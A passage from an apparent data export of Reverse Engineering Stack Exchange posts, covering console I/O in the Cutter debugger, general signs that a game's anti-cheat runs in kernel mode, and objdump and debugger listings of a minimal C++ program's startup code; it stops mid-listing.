        "Body": "<p>So it's easy to transfer the standard input and output in radare2 to a new terminal  using rarun2, here's how:\n<a href=\"https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals/16430#16430\">Debugging with radare2 using two terminals</a></p>\n\n<p>i was wondering if i can use rarun2 with Cutter  or even display the program's output in the cutter console? </p>\n\n<p>Edit: I'm using Ubuntu 18.04</p>\n",
        "Title": "Is there any way to display the standard input and output of a program to Cutter's console while debugging?",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>Good news! In Cutter v1.10 (December 20, 2019) the team <a href=\"https://twitter.com/r2gui/status/1208106040954359808\" rel=\"nofollow noreferrer\">introduced</a> native and remote debugger support. By default, the STDIO of the debuggee is redirected to the Console Widget inside Cutter. </p>\n\n<p><strong>Downloading the latest release</strong><br>\nTo download the recent version of Cutter you can go to the <a href=\"https://cutter.re\" rel=\"nofollow noreferrer\">official website</a> and click on the Download button. It will automatically detect your OS and give you the right file to download.</p>\n\n<p><strong>Debugging</strong><br>\nOpen Cutter and choose a file to analyze. On the following dialog configure the settings as you wish, you can leave it as-it for the defaults.</p>\n\n<p>On the interface of Cutter you can start debugging by <strong>either</strong> of the following ways:  </p>\n\n<ol>\n<li><p>Press <kbd>F9</kbd> to execute native debug  </p></li>\n<li><p>Click the green button at the top of the interface to start Debug<br>\n<a href=\"https://i.stack.imgur.com/Gq6lZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Gq6lZ.png\" alt=\"enter image description here\"></a></p></li>\n<li><p>Click on the \"Debug\" menu and choose Start Debug<br>\n<a href=\"https://i.stack.imgur.com/G7kEz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/G7kEz.png\" alt=\"enter image description here\"></a></p></li>\n</ol>\n\n<p>Then, click Play and the program will run. On Linux, you will see the STDIO in the Console Widget (open it from Windows -> Console). You can interact with it and send it input.</p>\n\n<p><a href=\"https://i.stack.imgur.com/8ilEr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8ilEr.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "22592",
        "CreationDate": "2019-11-21T11:06:09.800",
        "Body": "<p>How does one find out if a game uses KernelMode anti cheat or UserMode?</p>\n\n<p>For example the Game Black Desert Online uses Xigncode.</p>\n\n<p>If i google a bit about Xigncode i immediately find out that: </p>\n\n<p>\"Xigncode uses a driver called xhunter1.sys. to protect\" -> KernelMode</p>\n\n<p>What Tools and Steps are used by the people to determine this?</p>\n",
        "Title": "What is the usual way to determine if a Game uses KernelMode or UserMode Anti cheat?",
        "Tags": "|anti-debugging|game-hacking|",
        "Answer": "<p>There is not a single Anti Cheat(AC) I am aware of that is kernel mode without using <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks\" rel=\"nofollow noreferrer\">ObRegisterCallbacks</a> to block access to the process. In fact a good number of the AC drivers I've looked at are nothing more than these callbacks and, sometimes, kernel pattern scans. Nearly every kernel mode AC will also have an IOCTL pipe that's pretty obvious (e.g \\Device\\AcName). No kernel AC is going to hide themselves, using a tool like Driver List should also be obvious. Many will also use <a href=\"https://docs.microsoft.com/en-us/windows/win32/directshow/dbglog\" rel=\"nofollow noreferrer\">DbgLog</a> in <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/wdf/driverentry-for-kmdf-drivers\" rel=\"nofollow noreferrer\">DriverEntry</a> which you can see with <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/debugview\" rel=\"nofollow noreferrer\">DebugView</a> using kernel capture. They will also almost universally be signed with a certificate matching the AC name.  I guess the best answer to this is just to use generic tools to look through loaded drivers, it's typically very obvious if an AC driver is loaded.</p>\n"
    },
    {
        "Id": "22614",
        "CreationDate": "2019-11-24T23:47:05.123",
        "Body": "<p>Compiling a minimal C++ program:\n<code>g++ -g -Wall -Wextra -std=c++17 -o prog main.cpp</code></p>\n\n\n\n<pre><code>int main()\n{\n}\n</code></pre>\n\n<hr>\n\n<p>Performing an <code>objdump -C -D prog</code> of all sections I am given the following output:</p>\n\n\n\n<pre><code>prog:     file format elf64-x86-64\n\n\nDisassembly of section .interp:\n\n0000000000400200 &lt;.interp&gt;:\n  400200:   2f                      (bad)  \n  400201:   6c                      insb   (%dx),%es:(%rdi)\n  400202:   69 62 36 34 2f 6c 64    imul   $0x646c2f34,0x36(%rdx),%esp\n  400209:   2d 6c 69 6e 75          sub    $0x756e696c,%eax\n  40020e:   78 2d                   js     40023d &lt;_init-0x193&gt;\n  400210:   78 38                   js     40024a &lt;_init-0x186&gt;\n  400212:   36 2d 36 34 2e 73       ss sub $0x732e3436,%eax\n  400218:   6f                      outsl  %ds:(%rsi),(%dx)\n  400219:   2e 32 00                xor    %cs:(%rax),%al\n\nDisassembly of section .note.ABI-tag:\n\n000000000040021c &lt;.note.ABI-tag&gt;:\n  40021c:   04 00                   add    $0x0,%al\n  40021e:   00 00                   add    %al,(%rax)\n  400220:   10 00                   adc    %al,(%rax)\n  400222:   00 00                   add    %al,(%rax)\n  400224:   01 00                   add    %eax,(%rax)\n  400226:   00 00                   add    %al,(%rax)\n  400228:   47                      rex.RXB\n  400229:   4e 55                   rex.WRX push %rbp\n  40022b:   00 00                   add    %al,(%rax)\n  40022d:   00 00                   add    %al,(%rax)\n  40022f:   00 02                   add    %al,(%rdx)\n  400231:   00 00                   add    %al,(%rax)\n  400233:   00 06                   add    %al,(%rsi)\n  400235:   00 00                   add    %al,(%rax)\n  400237:   00 20                   add    %ah,(%rax)\n  400239:   00 00                   add    %al,(%rax)\n    ...\n\nDisassembly of section .hash:\n\n0000000000400240 &lt;.hash&gt;:\n  400240:   03 00                   add    (%rax),%eax\n  400242:   00 00                   add    %al,(%rax)\n  400244:   05 00 00 00 01          add    $0x1000000,%eax\n  400249:   00 00                   add    %al,(%rax)\n  40024b:   00 04 00                add    %al,(%rax,%rax,1)\n    ...\n  40025e:   00 00                   add    %al,(%rax)\n  400260:   02 00                   add    (%rax),%al\n  400262:   00 00                   add    %al,(%rax)\n  400264:   03 00                   add    (%rax),%eax\n    ...\n\nDisassembly of section .dynsym:\n\n0000000000400268 &lt;.dynsym&gt;:\n    ...\n  400280:   10 00                   adc    %al,(%rax)\n  400282:   00 00                   add    %al,(%rax)\n  400284:   20 00                   and    %al,(%rax)\n    ...\n  400296:   00 00                   add    %al,(%rax)\n  400298:   77 00                   ja     40029a &lt;_init-0x136&gt;\n  40029a:   00 00                   add    %al,(%rax)\n  40029c:   12 00                   adc    (%rax),%al\n    ...\n  4002ae:   00 00                   add    %al,(%rax)\n  4002b0:   1f                      (bad)  \n  4002b1:   00 00                   add    %al,(%rax)\n  4002b3:   00 20                   add    %ah,(%rax)\n    ...\n  4002c5:   00 00                   add    %al,(%rax)\n  4002c7:   00 3b                   add    %bh,(%rbx)\n  4002c9:   00 00                   add    %al,(%rax)\n  4002cb:   00 20                   add    %ah,(%rax)\n    ...\n\nDisassembly of section .dynstr:\n\n00000000004002e0 &lt;.dynstr&gt;:\n  4002e0:   00 6c 69 62             add    %ch,0x62(%rcx,%rbp,2)\n  4002e4:   73 74                   jae    40035a &lt;_init-0x76&gt;\n  4002e6:   64 63 2b                movslq %fs:(%rbx),%ebp\n  4002e9:   2b 2e                   sub    (%rsi),%ebp\n  4002eb:   73 6f                   jae    40035c &lt;_init-0x74&gt;\n  4002ed:   2e 36 00 5f 5f          cs add %bl,%ss:0x5f(%rdi)\n  4002f2:   67 6d                   insl   (%dx),%es:(%edi)\n  4002f4:   6f                      outsl  %ds:(%rsi),(%dx)\n  4002f5:   6e                      outsb  %ds:(%rsi),(%dx)\n  4002f6:   5f                      pop    %rdi\n  4002f7:   73 74                   jae    40036d &lt;_init-0x63&gt;\n  4002f9:   61                      (bad)  \n  4002fa:   72 74                   jb     400370 &lt;_init-0x60&gt;\n  4002fc:   5f                      pop    %rdi\n  4002fd:   5f                      pop    %rdi\n  4002fe:   00 5f 49                add    %bl,0x49(%rdi)\n  400301:   54                      push   %rsp\n  400302:   4d 5f                   rex.WRB pop %r15\n  400304:   64 65 72 65             fs gs jb 40036d &lt;_init-0x63&gt;\n  400308:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi\n  40030f:   4d \n  400310:   43 6c                   rex.XB insb (%dx),%es:(%rdi)\n  400312:   6f                      outsl  %ds:(%rsi),(%dx)\n  400313:   6e                      outsb  %ds:(%rsi),(%dx)\n  400314:   65 54                   gs push %rsp\n  400316:   61                      (bad)  \n  400317:   62                      (bad)  \n  400318:   6c                      insb   (%dx),%es:(%rdi)\n  400319:   65 00 5f 49             add    %bl,%gs:0x49(%rdi)\n  40031d:   54                      push   %rsp\n  40031e:   4d 5f                   rex.WRB pop %r15\n  400320:   72 65                   jb     400387 &lt;_init-0x49&gt;\n  400322:   67 69 73 74 65 72 54    imul   $0x4d547265,0x74(%ebx),%esi\n  400329:   4d \n  40032a:   43 6c                   rex.XB insb (%dx),%es:(%rdi)\n  40032c:   6f                      outsl  %ds:(%rsi),(%dx)\n  40032d:   6e                      outsb  %ds:(%rsi),(%dx)\n  40032e:   65 54                   gs push %rsp\n  400330:   61                      (bad)  \n  400331:   62                      (bad)  \n  400332:   6c                      insb   (%dx),%es:(%rdi)\n  400333:   65 00 6c 69 62          add    %ch,%gs:0x62(%rcx,%rbp,2)\n  400338:   6d                      insl   (%dx),%es:(%rdi)\n  400339:   2e 73 6f                jae,pn 4003ab &lt;_init-0x25&gt;\n  40033c:   2e 36 00 6c 69 62       cs add %ch,%ss:0x62(%rcx,%rbp,2)\n  400342:   67 63 63 5f             movslq 0x5f(%ebx),%esp\n  400346:   73 2e                   jae    400376 &lt;_init-0x5a&gt;\n  400348:   73 6f                   jae    4003b9 &lt;_init-0x17&gt;\n  40034a:   2e 31 00                xor    %eax,%cs:(%rax)\n  40034d:   6c                      insb   (%dx),%es:(%rdi)\n  40034e:   69 62 63 2e 73 6f 2e    imul   $0x2e6f732e,0x63(%rdx),%esp\n  400355:   36 00 5f 5f             add    %bl,%ss:0x5f(%rdi)\n  400359:   6c                      insb   (%dx),%es:(%rdi)\n  40035a:   69 62 63 5f 73 74 61    imul   $0x6174735f,0x63(%rdx),%esp\n  400361:   72 74                   jb     4003d7 &lt;_init+0x7&gt;\n  400363:   5f                      pop    %rdi\n  400364:   6d                      insl   (%dx),%es:(%rdi)\n  400365:   61                      (bad)  \n  400366:   69 6e 00 47 4c 49 42    imul   $0x42494c47,0x0(%rsi),%ebp\n  40036d:   43 5f                   rex.XB pop %r15\n  40036f:   32 2e                   xor    (%rsi),%ch\n  400371:   32 2e                   xor    (%rsi),%ch\n  400373:   35                      .byte 0x35\n    ...\n\nDisassembly of section .gnu.version:\n\n0000000000400376 &lt;.gnu.version&gt;:\n  400376:   00 00                   add    %al,(%rax)\n  400378:   00 00                   add    %al,(%rax)\n  40037a:   02 00                   add    (%rax),%al\n  40037c:   00 00                   add    %al,(%rax)\n    ...\n\nDisassembly of section .gnu.version_r:\n\n0000000000400380 &lt;.gnu.version_r&gt;:\n  400380:   01 00                   add    %eax,(%rax)\n  400382:   01 00                   add    %eax,(%rax)\n  400384:   6d                      insl   (%dx),%es:(%rdi)\n  400385:   00 00                   add    %al,(%rax)\n  400387:   00 10                   add    %dl,(%rax)\n  400389:   00 00                   add    %al,(%rax)\n  40038b:   00 00                   add    %al,(%rax)\n  40038d:   00 00                   add    %al,(%rax)\n  40038f:   00 75 1a                add    %dh,0x1a(%rbp)\n  400392:   69 09 00 00 02 00       imul   $0x20000,(%rcx),%ecx\n  400398:   89 00                   mov    %eax,(%rax)\n  40039a:   00 00                   add    %al,(%rax)\n  40039c:   00 00                   add    %al,(%rax)\n    ...\n\nDisassembly of section .rela.dyn:\n\n00000000004003a0 &lt;.rela.dyn&gt;:\n  4003a0:   d0 08                   rorb   (%rax)\n  4003a2:   60                      (bad)  \n  4003a3:   00 00                   add    %al,(%rax)\n  4003a5:   00 00                   add    %al,(%rax)\n  4003a7:   00 06                   add    %al,(%rsi)\n  4003a9:   00 00                   add    %al,(%rax)\n  4003ab:   00 01                   add    %al,(%rcx)\n    ...\n\nDisassembly of section .rela.plt:\n\n00000000004003b8 &lt;.rela.plt&gt;:\n  4003b8:   f0 08 60 00             lock or %ah,0x0(%rax)\n  4003bc:   00 00                   add    %al,(%rax)\n  4003be:   00 00                   add    %al,(%rax)\n  4003c0:   07                      (bad)  \n  4003c1:   00 00                   add    %al,(%rax)\n  4003c3:   00 02                   add    %al,(%rdx)\n    ...\n\nDisassembly of section .init:\n\n00000000004003d0 &lt;_init&gt;:\n  4003d0:   48 83 ec 08             sub    $0x8,%rsp\n  4003d4:   48 8b 05 f5 04 20 00    mov    0x2004f5(%rip),%rax        # 6008d0 &lt;_DYNAMIC+0x200&gt;\n  4003db:   48 85 c0                test   %rax,%rax\n  4003de:   74 05                   je     4003e5 &lt;_init+0x15&gt;\n  4003e0:   e8 2b 00 00 00          callq  400410 &lt;__libc_start_main@plt+0x10&gt;\n  4003e5:   48 83 c4 08             add    $0x8,%rsp\n  4003e9:   c3                      retq   \n\nDisassembly of section .plt:\n\n00000000004003f0 &lt;__libc_start_main@plt-0x10&gt;:\n  4003f0:   ff 35 ea 04 20 00       pushq  0x2004ea(%rip)        # 6008e0 &lt;_GLOBAL_OFFSET_TABLE_+0x8&gt;\n  4003f6:   ff 25 ec 04 20 00       jmpq   *0x2004ec(%rip)        # 6008e8 &lt;_GLOBAL_OFFSET_TABLE_+0x10&gt;\n  4003fc:   0f 1f 40 00             nopl   0x0(%rax)\n\n0000000000400400 &lt;__libc_start_main@plt&gt;:\n  400400:   ff 25 ea 04 20 00       jmpq   *0x2004ea(%rip)        # 6008f0 &lt;_GLOBAL_OFFSET_TABLE_+0x18&gt;\n  400406:   68 00 00 00 00          pushq  $0x0\n  40040b:   e9 e0 ff ff ff          jmpq   4003f0 &lt;_init+0x20&gt;\n\nDisassembly of section .plt.got:\n\n0000000000400410 &lt;.plt.got&gt;:\n  400410:   ff 25 ba 04 20 00       jmpq   *0x2004ba(%rip)        # 6008d0 &lt;_DYNAMIC+0x200&gt;\n  400416:   66 90                   xchg   %ax,%ax\n\nDisassembly of section .text:\n\n0000000000400420 &lt;_start&gt;:\n  400420:   31 ed                   xor    %ebp,%ebp\n  400422:   49 89 d1                mov    %rdx,%r9\n  400425:   5e                      pop    %rsi\n  400426:   48 89 e2                mov    %rsp,%rdx\n  400429:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp\n  40042d:   50                      push   %rax\n  40042e:   54                      push   %rsp\n  40042f:   49 c7 c0 80 05 40 00    mov    $0x400580,%r8\n  400436:   48 c7 c1 10 05 40 00    mov    $0x400510,%rcx\n  40043d:   48 c7 c7 f7 04 40 00    mov    $0x4004f7,%rdi\n  400444:   e8 b7 ff ff ff          callq  400400 &lt;__libc_start_main@plt&gt;\n  400449:   f4                      hlt    \n  40044a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)\n\n0000000000400450 &lt;deregister_tm_clones&gt;:\n  400450:   55                      push   %rbp\n  400451:   b8 08 09 60 00          mov    $0x600908,%eax\n  400456:   48 3d 08 09 60 00       cmp    $0x600908,%rax\n  40045c:   48 89 e5                mov    %rsp,%rbp\n  40045f:   74 17                   je     400478 &lt;deregister_tm_clones+0x28&gt;\n  400461:   b8 00 00 00 00          mov    $0x0,%eax\n  400466:   48 85 c0                test   %rax,%rax\n  400469:   74 0d                   je     400478 &lt;deregister_tm_clones+0x28&gt;\n  40046b:   5d                      pop    %rbp\n  40046c:   bf 08 09 60 00          mov    $0x600908,%edi\n  400471:   ff e0                   jmpq   *%rax\n  400473:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)\n  400478:   5d                      pop    %rbp\n  400479:   c3                      retq   \n  40047a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)\n\n0000000000400480 &lt;register_tm_clones&gt;:\n  400480:   be 08 09 60 00          mov    $0x600908,%esi\n  400485:   55                      push   %rbp\n  400486:   48 81 ee 08 09 60 00    sub    $0x600908,%rsi\n  40048d:   48 89 e5                mov    %rsp,%rbp\n  400490:   48 c1 fe 03             sar    $0x3,%rsi\n  400494:   48 89 f0                mov    %rsi,%rax\n  400497:   48 c1 e8 3f             shr    $0x3f,%rax\n  40049b:   48 01 c6                add    %rax,%rsi\n  40049e:   48 d1 fe                sar    %rsi\n  4004a1:   74 15                   je     4004b8 &lt;register_tm_clones+0x38&gt;\n  4004a3:   b8 00 00 00 00          mov    $0x0,%eax\n  4004a8:   48 85 c0                test   %rax,%rax\n  4004ab:   74 0b                   je     4004b8 &lt;register_tm_clones+0x38&gt;\n  4004ad:   5d                      pop    %rbp\n  4004ae:   bf 08 09 60 00          mov    $0x600908,%edi\n  4004b3:   ff e0                   jmpq   *%rax\n  4004b5:   0f 1f 00                nopl   (%rax)\n  4004b8:   5d                      pop    %rbp\n  4004b9:   c3                      retq   \n  4004ba:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)\n\n00000000004004c0 &lt;__do_global_dtors_aux&gt;:\n  4004c0:   80 3d 41 04 20 00 00    cmpb   $0x0,0x200441(%rip)        # 600908 &lt;__TMC_END__&gt;\n  4004c7:   75 17                   jne    4004e0 &lt;__do_global_dtors_aux+0x20&gt;\n  4004c9:   55                      push   %rbp\n  4004ca:   48 89 e5                mov    %rsp,%rbp\n  4004cd:   e8 7e ff ff ff          callq  400450 &lt;deregister_tm_clones&gt;\n  4004d2:   c6 05 2f 04 20 00 01    movb   $0x1,0x20042f(%rip)        # 600908 &lt;__TMC_END__&gt;\n  4004d9:   5d                      pop    %rbp\n  4004da:   c3                      retq   \n  4004db:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)\n  4004e0:   f3 c3                   repz retq \n  4004e2:   0f 1f 40 00             nopl   0x0(%rax)\n  4004e6:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)\n  4004ed:   00 00 00 \n\n00000000004004f0 &lt;frame_dummy&gt;:\n  4004f0:   55                      push   %rbp\n  4004f1:   48 89 e5                mov    %rsp,%rbp\n  4004f4:   5d                      pop    %rbp\n  4004f5:   eb 89                   jmp    400480 &lt;register_tm_clones&gt;\n\n00000000004004f7 &lt;main&gt;:\n  4004f7:   55                      push   %rbp\n  4004f8:   48 89 e5                mov    %rsp,%rbp\n  4004fb:   b8 00 00 00 00          mov    $0x0,%eax\n  400500:   5d                      pop    %rbp\n  400501:   c3                      retq   \n  400502:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)\n  400509:   00 00 00 \n  40050c:   0f 1f 40 00             nopl   0x0(%rax)\n\n    ...\n\n  (Due to limits of the body in SO questions I'm cutting it off here)\n</code></pre>\n\n<hr>\n\n<p>But as I'm single stepping through the debugger, I eventually end up in the assembler code of <code>__libc_start_main</code> (whose code is not seen in the objdump of the program):</p>\n\n\n\n<pre><code>0x00007ffffe790740 &lt;__libc_start_main+0&gt;:   push   %r14\n0x00007ffffe790742 &lt;__libc_start_main+2&gt;:   push   %r13\n0x00007ffffe790744 &lt;__libc_start_main+4&gt;:   push   %r12\n0x00007ffffe790746 &lt;__libc_start_main+6&gt;:   push   %rbp\n0x00007ffffe790747 &lt;__libc_start_main+7&gt;:   mov    %rcx,%rbp\n0x00007ffffe79074a &lt;__libc_start_main+10&gt;:  push   %rbx\n0x00007ffffe79074b &lt;__libc_start_main+11&gt;:  sub    $0x90,%rsp\n0x00007ffffe790752 &lt;__libc_start_main+18&gt;:  mov    0x3a37ef(%rip),%rax        # 0x7ffffeb33f48\n0x00007ffffe790759 &lt;__libc_start_main+25&gt;:  mov    %rdi,0x18(%rsp)\n0x00007ffffe79075e &lt;__libc_start_main+30&gt;:  mov    %esi,0x14(%rsp)\n0x00007ffffe790762 &lt;__libc_start_main+34&gt;:  mov    %rdx,0x8(%rsp)\n0x00007ffffe790767 &lt;__libc_start_main+39&gt;:  test   %rax,%rax\n0x00007ffffe79076a &lt;__libc_start_main+42&gt;:  je     0x7ffffe790837 &lt;__libc_start_main+247&gt;\n0x00007ffffe790770 &lt;__libc_start_main+48&gt;:  mov    (%rax),%eax\n0x00007ffffe790772 &lt;__libc_start_main+50&gt;:  xor    %edx,%edx\n0x00007ffffe790774 &lt;__libc_start_main+52&gt;:  test   %eax,%eax\n0x00007ffffe790776 &lt;__libc_start_main+54&gt;:  sete   %dl\n0x00007ffffe790779 &lt;__libc_start_main+57&gt;:  lea    0x3a3900(%rip),%rax        # 0x7ffffeb34080 &lt;__libc_multiple_libcs&gt;\n0x00007ffffe790780 &lt;__libc_start_main+64&gt;:  test   %r9,%r9\n0x00007ffffe790783 &lt;__libc_start_main+67&gt;:  mov    %edx,(%rax)\n0x00007ffffe790785 &lt;__libc_start_main+69&gt;:  je     0x7ffffe790793 &lt;__libc_start_main+83&gt;\n0x00007ffffe790787 &lt;__libc_start_main+71&gt;:  xor    %edx,%edx\n0x00007ffffe790789 &lt;__libc_start_main+73&gt;:  xor    %esi,%esi\n0x00007ffffe79078b &lt;__libc_start_main+75&gt;:  mov    %r9,%rdi\n0x00007ffffe79078e &lt;__libc_start_main+78&gt;:  callq  0x7ffffe7aa280 &lt;__GI___cxa_atexit&gt;\n0x00007ffffe790793 &lt;__libc_start_main+83&gt;:  mov    0x3a36d6(%rip),%rdx        # 0x7ffffeb33e70\n0x00007ffffe79079a &lt;__libc_start_main+90&gt;:  mov    (%rdx),%ebx\n0x00007ffffe79079c &lt;__libc_start_main+92&gt;:  and    $0x2,%ebx\n0x00007ffffe79079f &lt;__libc_start_main+95&gt;:  jne    0x7ffffe790876 &lt;__libc_start_main+310&gt;\n0x00007ffffe7907a5 &lt;__libc_start_main+101&gt;: test   %rbp,%rbp\n0x00007ffffe7907a8 &lt;__libc_start_main+104&gt;: je     0x7ffffe7907bf &lt;__libc_start_main+127&gt;\n0x00007ffffe7907aa &lt;__libc_start_main+106&gt;: mov    0x3a3707(%rip),%rax        # 0x7ffffeb33eb8\n0x00007ffffe7907b1 &lt;__libc_start_main+113&gt;: mov    0x8(%rsp),%rsi\n0x00007ffffe7907b6 &lt;__libc_start_main+118&gt;: mov    0x14(%rsp),%edi\n0x00007ffffe7907ba &lt;__libc_start_main+122&gt;: mov    (%rax),%rdx\n0x00007ffffe7907bd &lt;__libc_start_main+125&gt;: callq  *%rbp\n0x00007ffffe7907bf &lt;__libc_start_main+127&gt;: mov    0x3a36aa(%rip),%rax        # 0x7ffffeb33e70\n0x00007ffffe7907c6 &lt;__libc_start_main+134&gt;: mov    0x170(%rax),%r14d\n0x00007ffffe7907cd &lt;__libc_start_main+141&gt;: test   %r14d,%r14d\n0x00007ffffe7907d0 &lt;__libc_start_main+144&gt;: jne    0x7ffffe7908cb &lt;__libc_start_main+395&gt;\n0x00007ffffe7907d6 &lt;__libc_start_main+150&gt;: test   %ebx,%ebx\n0x00007ffffe7907d8 &lt;__libc_start_main+152&gt;: jne    0x7ffffe7908a8 &lt;__libc_start_main+360&gt;\n0x00007ffffe7907de &lt;__libc_start_main+158&gt;: lea    0x20(%rsp),%rdi\n0x00007ffffe7907e3 &lt;__libc_start_main+163&gt;: callq  0x7ffffe7a5250 &lt;_setjmp&gt;\n0x00007ffffe7907e8 &lt;__libc_start_main+168&gt;: test   %eax,%eax\n0x00007ffffe7907ea &lt;__libc_start_main+170&gt;: jne    0x7ffffe79083e &lt;__libc_start_main+254&gt;\n0x00007ffffe7907ec &lt;__libc_start_main+172&gt;: mov    %fs:0x300,%rax\n0x00007ffffe7907f5 &lt;__libc_start_main+181&gt;: mov    %rax,0x68(%rsp)\n0x00007ffffe7907fa &lt;__libc_start_main+186&gt;: mov    %fs:0x2f8,%rax\n0x00007ffffe790803 &lt;__libc_start_main+195&gt;: mov    %rax,0x70(%rsp)\n0x00007ffffe790808 &lt;__libc_start_main+200&gt;: lea    0x20(%rsp),%rax\n0x00007ffffe79080d &lt;__libc_start_main+205&gt;: mov    %rax,%fs:0x300\n0x00007ffffe790816 &lt;__libc_start_main+214&gt;: mov    0x3a369b(%rip),%rax        # 0x7ffffeb33eb8\n0x00007ffffe79081d &lt;__libc_start_main+221&gt;: mov    0x8(%rsp),%rsi\n0x00007ffffe790822 &lt;__libc_start_main+226&gt;: mov    0x14(%rsp),%edi\n0x00007ffffe790826 &lt;__libc_start_main+230&gt;: mov    (%rax),%rdx\n0x00007ffffe790829 &lt;__libc_start_main+233&gt;: mov    0x18(%rsp),%rax\n0x00007ffffe79082e &lt;__libc_start_main+238&gt;: callq  *%rax\n0x00007ffffe790830 &lt;__libc_start_main+240&gt;: mov    %eax,%edi\n0x00007ffffe790832 &lt;__libc_start_main+242&gt;: callq  0x7ffffe7aa030 &lt;__GI_exit&gt;\n0x00007ffffe790837 &lt;__libc_start_main+247&gt;: xor    %edx,%edx\n0x00007ffffe790839 &lt;__libc_start_main+249&gt;: jmpq   0x7ffffe790779 &lt;__libc_start_main+57&gt;\n0x00007ffffe79083e &lt;__libc_start_main+254&gt;: mov    0x3a8ecb(%rip),%rax        # 0x7ffffeb39710 &lt;__libc_pthread_functions+400&gt;\n0x00007ffffe790845 &lt;__libc_start_main+261&gt;: ror    $0x11,%rax\n0x00007ffffe790849 &lt;__libc_start_main+265&gt;: xor    %fs:0x30,%rax\n0x00007ffffe790852 &lt;__libc_start_main+274&gt;: callq  *%rax\n0x00007ffffe790854 &lt;__libc_start_main+276&gt;: mov    0x3a8ea5(%rip),%rax        # 0x7ffffeb39700 &lt;__libc_pthread_functions+384&gt;\n0x00007ffffe79085b &lt;__libc_start_main+283&gt;: ror    $0x11,%rax\n0x00007ffffe79085f &lt;__libc_start_main+287&gt;: xor    %fs:0x30,%rax\n0x00007ffffe790868 &lt;__libc_start_main+296&gt;: lock decl (%rax)\n0x00007ffffe79086b &lt;__libc_start_main+299&gt;: sete   %dl\n0x00007ffffe79086e &lt;__libc_start_main+302&gt;: test   %dl,%dl\n0x00007ffffe790870 &lt;__libc_start_main+304&gt;: je     0x7ffffe790892 &lt;__libc_start_main+338&gt;\n0x00007ffffe790872 &lt;__libc_start_main+306&gt;: xor    %eax,%eax\n0x00007ffffe790874 &lt;__libc_start_main+308&gt;: jmp    0x7ffffe790830 &lt;__libc_start_main+240&gt;\n0x00007ffffe790876 &lt;__libc_start_main+310&gt;: mov    0x8(%rsp),%rax\n0x00007ffffe79087b &lt;__libc_start_main+315&gt;: lea    0x16bdb3(%rip),%rdi        # 0x7ffffe8fc635\n0x00007ffffe790882 &lt;__libc_start_main+322&gt;: mov    (%rax),%rsi\n0x00007ffffe790885 &lt;__libc_start_main+325&gt;: xor    %eax,%eax\n0x00007ffffe790887 &lt;__libc_start_main+327&gt;: callq  *0x118(%rdx)\n0x00007ffffe79088d &lt;__libc_start_main+333&gt;: jmpq   0x7ffffe7907a5 &lt;__libc_start_main+101&gt;\n0x00007ffffe790892 &lt;__libc_start_main+338&gt;: mov    $0x3c,%edx\n0x00007ffffe790897 &lt;__libc_start_main+343&gt;: nopw   0x0(%rax,%rax,1)\n0x00007ffffe7908a0 &lt;__libc_start_main+352&gt;: xor    %edi,%edi\n0x00007ffffe7908a2 &lt;__libc_start_main+354&gt;: mov    %edx,%eax\n0x00007ffffe7908a4 &lt;__libc_start_main+356&gt;: syscall \n0x00007ffffe7908a6 &lt;__libc_start_main+358&gt;: jmp    0x7ffffe7908a0 &lt;__libc_start_main+352&gt;\n0x00007ffffe7908a8 &lt;__libc_start_main+360&gt;: mov    0x8(%rsp),%rax\n0x00007ffffe7908ad &lt;__libc_start_main+365&gt;: mov    0x3a35bc(%rip),%rdx        # 0x7ffffeb33e70\n0x00007ffffe7908b4 &lt;__libc_start_main+372&gt;: lea    0x16bd94(%rip),%rdi        # 0x7ffffe8fc64f\n0x00007ffffe7908bb &lt;__libc_start_main+379&gt;: mov    (%rax),%rsi\n0x00007ffffe7908be &lt;__libc_start_main+382&gt;: xor    %eax,%eax\n0x00007ffffe7908c0 &lt;__libc_start_main+384&gt;: callq  *0x118(%rdx)\n0x00007ffffe7908c6 &lt;__libc_start_main+390&gt;: jmpq   0x7ffffe7907de &lt;__libc_start_main+158&gt;\n0x00007ffffe7908cb &lt;__libc_start_main+395&gt;: mov    0x168(%rax),%r13\n0x00007ffffe7908d2 &lt;__libc_start_main+402&gt;: mov    0x3a3527(%rip),%rax        # 0x7ffffeb33e00\n0x00007ffffe7908d9 &lt;__libc_start_main+409&gt;: xor    %r12d,%r12d\n0x00007ffffe7908dc &lt;__libc_start_main+412&gt;: mov    (%rax),%rbp\n0x00007ffffe7908df &lt;__libc_start_main+415&gt;: mov    0x18(%r13),%rax\n0x00007ffffe7908e3 &lt;__libc_start_main+419&gt;: test   %rax,%rax\n0x00007ffffe7908e6 &lt;__libc_start_main+422&gt;: je     0x7ffffe7908f8 &lt;__libc_start_main+440&gt;\n0x00007ffffe7908e8 &lt;__libc_start_main+424&gt;: mov    %r12d,%edi\n0x00007ffffe7908eb &lt;__libc_start_main+427&gt;: add    $0x47,%rdi\n0x00007ffffe7908ef &lt;__libc_start_main+431&gt;: shl    $0x4,%rdi\n0x00007ffffe7908f3 &lt;__libc_start_main+435&gt;: add    %rbp,%rdi\n0x00007ffffe7908f6 &lt;__libc_start_main+438&gt;: callq  *%rax\n0x00007ffffe7908f8 &lt;__libc_start_main+440&gt;: add    $0x1,%r12d\n0x00007ffffe7908fc &lt;__libc_start_main+444&gt;: mov    0x40(%r13),%r13\n0x00007ffffe790900 &lt;__libc_start_main+448&gt;: cmp    %r12d,%r14d\n0x00007ffffe790903 &lt;__libc_start_main+451&gt;: jne    0x7ffffe7908df 